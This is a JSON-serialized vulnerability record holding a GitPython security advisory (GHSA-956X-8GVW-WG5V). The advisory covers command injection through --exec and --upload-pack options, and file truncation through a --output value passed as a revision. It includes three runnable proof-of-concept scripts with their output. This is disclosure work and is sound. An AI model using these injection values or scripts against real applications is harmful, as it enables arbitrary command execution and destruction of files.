[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-956X-8GVW-WG5V":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T17:35:29.592Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":41,"related":42,"reserved_at":9,"published_at":45,"modified_at":46,"state":9,"summary":47,"references_raw":49,"kevs":73,"epss":9,"epss_history":74,"metrics":75,"affected":82},"GHSA-956X-8GVW-WG5V","GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`\n\n## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, …) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands — `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\u003Ccmd>\"}` becomes `git archive --remote=. --exec=\u003Ccmd> -- \u003Ctreeish>`, and `git archive --remote=\u003Clocal repo>` invokes `git-upload-archive` whose path is overridden by `--exec` → **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(\u003Curl>, upload_pack=\"\u003Ccmd>\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=\u003Ccmd>` with no guard → **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n    # Arbitrary command execution.\n    \"--upload-pack\",\n    \"--receive-pack\",\n    # Arbitrary file overwrite.\n    \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n    ...\n    if unsafe_option is not None:\n        raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071   Remote.fetch\ngit/remote.py:1125   Remote.pull\ngit/remote.py:1198   Remote.push\ngit/repo/base.py:1410 / :1412  Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` — command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n    ...\n    self.git.archive(\"--\", treeish, *path, **kwargs)\n    return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--\u003Cname>=\u003Cvalue>` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec=\u003Ccmd> -- \u003Ctreeish>\n```\n\n`git archive --remote=\u003Crepo>` runs the upload-archive helper; `--exec=\u003Ccmd>` overrides the helper path, executing `\u003Ccmd>` on the host. This works with **default Git config** — it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` — command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` → `--upload-pack=\u003Cvalue>`. `git ls-remote \u003Clocal-repo> --upload-pack=\u003Ccmd>` executes `\u003Ccmd>`. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.\u003Canything>(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` — but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` — arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=\u003Cfile>`, which `open()`s and truncates the file *before* validating the revision — so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip install GitPython           # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\"   # 3.1.50\n```\n\n### PoC 1 — command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch ' + marker}\ntry:\n    repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 — command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif os.path.exists(marker): os.remove(marker)\ntry:\n    repo.git.ls_remote('.', upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n    print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 — arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref = '--output=' + victim          # value an app forwards as a \"ref/branch\"\ntry:\n    list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+] after :', repr(open(victim).read()), '\u003C- truncated')\n```\n\nVerbatim output:\n\n```\n[*] before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)\n[+] after : '' \u003C- truncated\n```",null,[],[],[],[],[15,17,19,21,23,25,27,29,31,33,35,37,39],{"_key":16},"CGA-2Q45-X3X5-FWH5",{"_key":18},"CGA-3FGG-VFF9-MVF9",{"_key":20},"CGA-6GH5-GGXG-QXGR",{"_key":22},"CGA-72FH-6C97-83G4",{"_key":24},"CGA-G65F-6GHM-QRPQ",{"_key":26},"CGA-G88F-3Q92-6CJJ",{"_key":28},"CGA-GGQ9-VCR4-8896",{"_key":30},"CGA-M7PH-8Q8V-QMX7",{"_key":32},"CGA-MR97-R77J-8925",{"_key":34},"CGA-MXX6-XFHJ-HPCW",{"_key":36},"CGA-R2H6-PWH9-WJMM",{"_key":38},"CGA-RVGH-FG27-9C32",{"_key":40},"CVE-2026-67323",[],[43],{"_key":44},"CGA-78VW-9344-JHXG","2026-07-21T20:10:06Z","2026-07-21T20:15:26.299288501Z",{"cisa_kev":48,"cisa_ransomware":48,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[50,56,60,64,69],{"url":51,"sources":52,"tags":54},"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v",[53],"osv_pypi",[55],"WEB",{"url":57,"sources":58,"tags":59},"https://github.com/gitpython-developers/GitPython/pull/2163",[53],[55],{"url":61,"sources":62,"tags":63},"https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738",[53],[55],{"url":65,"sources":66,"tags":67},"https://github.com/gitpython-developers/GitPython",[53],[68],"PACKAGE",{"url":70,"sources":71,"tags":72},"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51",[53],[55],[],[],[76],{"source":53,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":77,"cvss_v4_0":9},{"baseScore":78,"baseSeverity":9,"vectorString":79,"impactScore":80,"exploitabilityScore":81},8.4,"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",9.8,6.4,[83],{"ecosystem":84,"name":85,"vendor":84,"product":85,"cpe_part":9,"purl_type":86,"purl_namespace":9,"purl_name":85,"source":9,"versions":87},"PyPI","gitpython","pypi",[88],{"version":89,"is_range":90,"range_type":91,"version_start":9,"version_start_type":9,"version_end":92,"version_end_type":93,"fixed_in":9},"lt3_1_51",true,"ecosystem","3.1.51","excluding"]